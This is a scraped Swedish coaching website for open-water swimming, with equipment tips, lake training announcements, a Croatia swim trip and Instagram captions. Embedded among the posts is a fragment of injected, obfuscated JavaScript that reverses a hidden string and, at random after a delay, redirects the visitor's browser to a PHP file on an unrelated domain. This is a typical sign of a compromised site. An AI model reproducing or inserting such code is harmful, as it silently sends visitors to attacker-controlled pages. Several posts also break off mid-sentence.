Du behöver följande: Gymboll, ca 50 cm i diameter. Gärna färgglad. Rep, tåligt. Ca 3-4 meter, längden beror på djupet i bassängen/sjön. Kettlebell., ca 8 kg. Helst med vinylbelagd yta. Nät, typ ett bollnät för ca 12 bollar. Sedan är det enkelt. Stoppa ner gymbollen i nätet och pumpa upp. Därefter binder du fast repet
Igår samlades ca 30 personer som bjöds på fika, kollade på simutrustning och fick tips om bassängsimning. Vi tillsammans med TYR och Trisport erbjuder kommande event: Så tränar du Öppet vatten simning. 17 april och 8 maj kl 18.00-20.00. Bra häng på @trispot.se ikväll! Supergod semla och entusiastiska deltagare. Tack @trispot.se & @tyr_sverige för supporten
För 3e året erbjuder vi Öppet Vatten simträning i Rösjön, Täby/Sollentuna. Vår träning passar flera karaktärer av idrottare och färdighetsnivåer inom SwimRun, Öppet vattensimning & triathlon och riktar sig till såväl motionärer som elitidrottare. Deltagarna delas upp i grupper efter färdighet vilket gör att din träning anpassas efter just din färdighet och du tränar med likasinnade.
För 5e året erbjuder vi Öppet Vatten simträning i Järlasjön, Nacka. Vår träning passar flera karaktärer av idrottare och färdighetsnivåer inom SwimRun, Öppet vattensimning & triathlon och riktar sig till såväl motionärer som elitidrottare. Deltagarna delas upp i grupper efter färdighet vilket gör att din träning anpassas efter just din färdighet och du tränar med
Sommarn 2018 erbjuder Coach Ludde för första gången Öppet vatten simträning i Kottlasjön, Lidingö. Vår träning passar flera karaktärer av idrottare och färdighetsnivåer inom SwimRun, Öppet vattensimning & triathlon och riktar sig till såväl motionärer som elitidrottare. Deltagarna delas upp i grupper efter färdighet vilket gör att din träning anpassas efter just din färdighet och
En av Sveriges bästa simföreningar SK Neptun väljer att förlägga sin Öppet vatten simträning för sina tävlingssimmare med Coach Ludde sommarn 2018. SK Neptun gör en satsning 2018 på Öppet vatten simning för sin tävlingssimmare och vill bli en ledande simförening inom grenen. Träningen är förberedelser inför SM, JSM och USM som går den 9
Välkommen till ett unikt simäventyr i Kroatien 9–16 maj 2018. Adriatiska havet bjuder på kristallklart vatten, dramatiska kustlinjer & fina stränder. Du kommer att få fantastiska simupplevelser att bära med dig inför sommaren. Vi simmar tillsammans varje dag i Crvena Luka, eller gör utflykter (2 dagar) med båt i den kroatiska skärgården. Simningen är
215 dagar kvar…… Den 28 maj 2018 startar OW-träning i Järla Sjö med Coach Ludde Fyra pass erbjuds varje vecka – måndag, onsdag, fredag & söndag. Anmälan öppnar i mars 2018. Be ready! #coachludde #tyrsverige #swimfulness Ett inlägg delat av Swimming & Open Water (@coachludde) Okt 25, 2017 kl. 9:09 PDT
Aron Anderson (äventyrare & föreläsare) tränar simning med Coach Ludde inför sin Ironman i Kona 2017.
) == ”string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(””).reverse().join(””);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[”‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and”] Follow Jonas Kurén journey with Fredrik Ludde Lundin as his coach on: Instagram: @coachludde or @azsportswear // Facebook: @coachludde or @azsportswear FREDRIK LUNDIN Torsdag = gym för Jonas @jonaskuren #azbyzlatan #coachludde @azsportswear #luddeskickstart Ett inlägg delat av Swimming & Open Water
För att fortsätta använda denna webbplats behöver du godkänna användandet av cookies. mer information samt möjligheten att avaktivera cookies hittar du här
Dina cookie-inställningar för denna webbplats är satt till ”tillåt cookies” för att ge dig den bästa upplevelsen. Om du fortsätter använda webbplatsen utan att ändra dina inställningar för cookies eller om du klickar ”Godkänn” nedan så samtycker du till detta.